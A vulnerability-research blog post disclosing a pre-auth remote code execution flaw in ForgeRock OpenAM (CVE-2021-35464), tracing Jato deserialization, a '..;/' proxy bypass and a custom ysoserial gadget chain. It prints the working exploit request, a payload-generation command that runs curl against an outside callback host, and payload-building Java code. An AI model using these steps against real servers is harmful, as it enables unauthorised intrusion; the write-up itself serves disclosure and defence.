Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)

While participating in one private bug bounty program, I discovered a pre-auth RCE in ForgeRock OpenAM server - a popular access management solution for web applications. In this blog post, I'm going to share some details about how I found this vulnerability and developed an exploit for it. I'm also going to explain the new Ysoserial deserialization gadget chain I created specifically for this exploit.

In short, RCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM. Here is the minimal exploit PoC:

GET /openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>

<serialized_object> is a serialized Java object, prepended with a null byte and encoded with base64url. You can generate this object using my ysoserial chain as follows:

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://id.burpcollaborator.net" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='

Although I was able to exploit this vulnerability on a number of bug bounty targets, the latest version of ForgeRock OpenAM (7.1) is not affected. As I couldn't find any information about this vulnerability anywhere, I decided to share some details in this blog post.

The Story

During my research into OAuth vulnerabilities, I looked at different OAuth and OpenId systems I can find on bug bounty scopes. With the help of a few magic scripts James Kettle shared with me, I discovered all servers that respond to the "/well-known/openid-configuration" URI and took a brief look at their configuration. As my intention was to find truly impactful vulnerabilities rather than just "something", I decided to focus on the systems that are either open source or available to download and decompile. ForgeRock OpenAm was one such system that I found in the bug bounty scope. It appeared to me as a monstrous Java Enterprise application with a huge attack surface, so I decided to take a deeper look into it.

Obtaining Code & Decompiling

Enterprise Java applications are normally quite big. Even if you have the source code, resolving all the dependencies can be a pretty tedious task to say the least. To make my life easier, I normally search for public Docker images because they already have all the required components. In the case of OpenAm, setting up a test instance was as easy as:

docker run -h localhost -p 7080:8080 --name openam openidentityplatform/openam

After examining the environment within the Docker container, I found that I could obtain the packaged web application from the standard /usr/local/tomcat/webapps folder:

docker cp openam://usr/local/tomcat/webapps/openam.war ./

Next, we need to unpack the WAR file and decompile all the JARs (libraries) inside so that we can look at the source code. I'm a huge fan of using Intellij IDEA for dealing with Java code as it provides handy methods for searching and building call graphs. Few people know that it has a built-in Java decompiler that can be used from the console. All we need to do is to put all compiled JARs into the single directory and call the following command:

java -Xmx7066M -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -mpm=3 ./lib/openam* ./lib-decompiled

Decompiling everything might take a while, so I normally choose only JARs that don't look like standard libraries.

After that, I created a blank Java project and included everything as libraries and their source. You only need to specify two directories with compiled and decompiled JARs. IDEA expects them to be in the same format that the decompiler tool produces, so we don't need to unpack every single JAR or move anything.

IDEA project with libraries

Source code analysis

As with almost all Java web applications, I started by looking into the web.xml file to understand the routing and all available endpoints. Before searching for vulnerabilities, I always try to understand what pages I can reach and what authorization filtering is in place. I noticed a mix of classic Java servlets and different frameworks, showing that the application has been developed over a long period of time.

After spending several years analyzing Java code, I've trained my eyes to catch anything related to XML processing, deserialization, reflection, and other insecure-by-default Java methods. When it came to OpenAm source, I noticed several places where XML parsing and deserialization occurs in a safe manner, meaning the developers already put some effort into securing the application code.

Although there are numerous tools that can be used to find vulnerabilities in code, most of them have serious limitations in terms of coverage. Especially when it comes to analyzing dependencies, source code analyzers often can't connect "sources" in one component to "sinks" in another, missing the potential vulnerability. So, I didn't give up and carry on looking at the source code.

Jato

One of the frameworks I noticed in use was Sun ONE Application Framework (Jato) - a 20 year old legacy framework without a single CVE assigned. As I haven't seen it before, I decided to take a look at how it handles incoming requests. After decompiling it and studying its source code, I found something interesting:

com/iplanet/jato/view/ViewBeanBase.class:

protected void deserializePageAttributes() {
if (!this.isPageSessionDeserialized()) {
...

String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
if (pageAttributesParam != null && pageAttributesParam.trim().length() > 0) {
try {
this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
} catch (Exception var4) {

If the request contains a "jato.pageSession" query parameter, Jato deserializes its value to the session attribute. Internally, it performs native Java serialization using ObjectInputSteam, with a compression on top. To check my understanding, I had to generate an exploit payload object and properly serialize it with the required format.

As I was too lazy to work out how exactly the compression is performed, I simply created a new Java project and included jato-2005-05-04.jar and ysoserial.jar as libraries. Then, I wrote some code to create a payload object with the URLDNS gadget chain and Jato's serializer:

import com.iplanet.jato.util.Encoder;
import ysoserial.payloads.URLDNS;
import java.io.Serializable;

public class Main {

public static void main(String[] args) throws Exception {

Object payload = new URLDNS().getObject("http://xxx4.x.artsploit.com/");
byte[] payloadBytes = Encoder.serialize((Serializable) payload, false);
String payloadString = Encoder.encodeHttp64(payloadBytes, 1000000);
System.out.println(payloadString);
}
}

The output of this program was the desired payload for "jato.pageSession" parameter.

Then, from the OpenAm source code, I discovered several endpoints where the Jato framework was used. A number of them, including "/ccversion/Version '' were available without authentication, which was a perfect target.

DNS pingback

And... It worked! URLDNS payload triggered the DNS resolution on the local target. By briefly looking at the available libraries in the classpath, I noticed commons-beanutils:1.9.4 is included, so the CommonsBeanutils1 gadget chain from ysoserial can lead to the desired RCE.

Testing on bug bounty (and failing)

Hyped by the exploit working locally, I stumbled upon "403 Forbidden" on my bug bounty target. The target server was behind a reverse proxy, which prohibits access to any URL that does not start from "/openam/oauth2/".

404 not found error

Luckily, the well-known Apache Tomcat Path traversal trick (..;/) worked perfectly to bypass this restriction:

GET /openam/oauth2/..;/ccversion/Version

Restriction bypass

After that, I expected to get code execution straight away, but there was another obstacle: neither URLDNS nor CommonsBeanutils1 chais worked on the bounty target:( On top of that, the server did not expose any errors. The only ysoserial gadget chain that worked was JRMPClient, but it only caused a delay in the response, meaning that the server tries to connect to a firewalled external address and hangs.

I was discouraged. Although the JRMPClient chain provided solid evidence that deserialization occurs, I knew it would be hard to convince triagers that this was a critical vulnerability.

At this point, I realized that the product I have on the bug bounty target was not quite the same as what I'd been using locally. ForgeRock was maintaining an open source version of OpenAM until 2017, but later they decided to develop the proprietary version and call it ForgeRock Access Management. The version I tested locally was one of the open source forks, called OpenIdentityPlatform/OpenAM, which is very similar but not exactly the same as AM.

As CommonsBeanutils1 didn't work on my bug bounty target, I decided to find another one.

Building a custom gadget chain

Those of you who are familiar with Java deserialization may know that deserialization allows attackers to send an object of an arbitrary class and trigger its readObject method. While it was considered harmless for many years, in 2015 @frohoff and @gebl demonstrated several ways to trigger remote code execution from the readObject method in common libraries, including the widely used Apache Commons Collections.

There are two open source projects that can help us to find other ways to exploit readObject, namely gadgetinspector by JackOfMostTrades and serianalyzer by mbechler. Both of them are basically static code analyzers; they have a defined list of sources (such as "readObject") and sinks (such as Runtime.exec()).

The first tool, gadgetinspector, discovered about 13 potential chains and generated output in the following format:

java/security/cert/CertificateRevokedException.readObject()
java/util/TreeMap.put()
org/apache/click/control/Column$ColumnComparator.compare()
org/apache/click/control/Column.getProperty()
org/apache/click/control/Column.getProperty()
org/apache/click/util/PropertyUtils.getValue()
org/apache/click/util/PropertyUtils.getObjectPropertyValue()
java/lang/reflect/Method.invoke()

All of the chains discovered by this tool had the same "sink" method: "java/lang/reflect/Method.invoke", which allows programmers to invoke arbitrary Java methods by their name provided in runtime. Since the code analyzer cannot identify whether the dangerous method is being called on user supplied data, we are expected to do it manually.

12 of the potential chains discovered by gadgetinspector were false positives, but one chain I highlighted above was somehow interesting.

It starts with the "ColumnComparator.compare" method, which basically compares two serialized objects by comparing their properties. Now take a look at the last method that calls the sink (PropertyUtils.getObjectPropertyValue):

private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;

try {
method = (Method)cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}

return method.invoke(source);

"Object source" is the object currently being deconstructed and "String name" is the property name we can control. Essentially, this method allows us to call an arbitrary "Getter" method on the current object. This getter does not have any parameters, we can only specify a property name, which is a "String" type.

This may look not impactful at first glance, but there is a known Java class org.apache.xalan.xsltc.trax.TemplatesImpl, which is serialializable and executes the supplied bytecode during the getOutputProperties method call. It's widely used in other gadget chains in ysoserial and exactly what we need to trigger the code execution.

To trigger the initial method (ColumnComparator.compare), gadgetinspector suggested using CertificateRevokedException.readObject at the start of the gadget chain, but as it turned out, this wasn't possible. Luckily, the CommonsBeanutils1 chain from ysoserial has a similar gadget in the form of "java.util.PriorityQueue.readObject", which also leads to "ColumnComparator.compare".

In the end, I was able to construct the required object by adding a new class and a gadget chain to the ysoserial project. Here is the final execution path from "readObject" to "Runtime.exec"

java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

The exact way of turning this chain into complete exploit is quite complex, but if you're interested in details of this magic, the best way is to open ysoserial's code in your editor, and execute the unit test in the ysoserial/test/payloads/PayloadsTest class.

You can set the breakpoint at ysoserial.payloads.Click1.getObject() method and see the full process of how object reconstruction leads to RCE.

Let's get this bread

When I was finally able to generate the serialized exploit object, it turned out it worked smoothly not only in the local environment, but also on my bug bounty target.

request caused delay

Since it was a blind execution case (with no OOB traffic allowed), I managed to execute a 'sleep 10' command, which was a huge relief. The ultimate output of the "id" command also didn't take too long to obtain: I blindly executed this command and saved the result to the web folder:

execution of id command

The patch

This vulnerability was patched in ForgeRock AM version 7.0 by entirely removing the "/ccvesion" endpoint, along with other legacy endpoints that use Jato. At the same time, Jato framework has not been updated for many years, so all other products that rely on it may still be affected. ForgeRock have provided a workaround for people still running 6.X.

It's worth noting that this vulnerability does not affect instances running with Java version 9 or newer, since Jato requires classes that have been removed in Java 9. It's one of the reasons why ForgeRock AM versions prior 7, such as 6.5, are still running on Java 8.

Key takeaways

Back to all articles

Related Research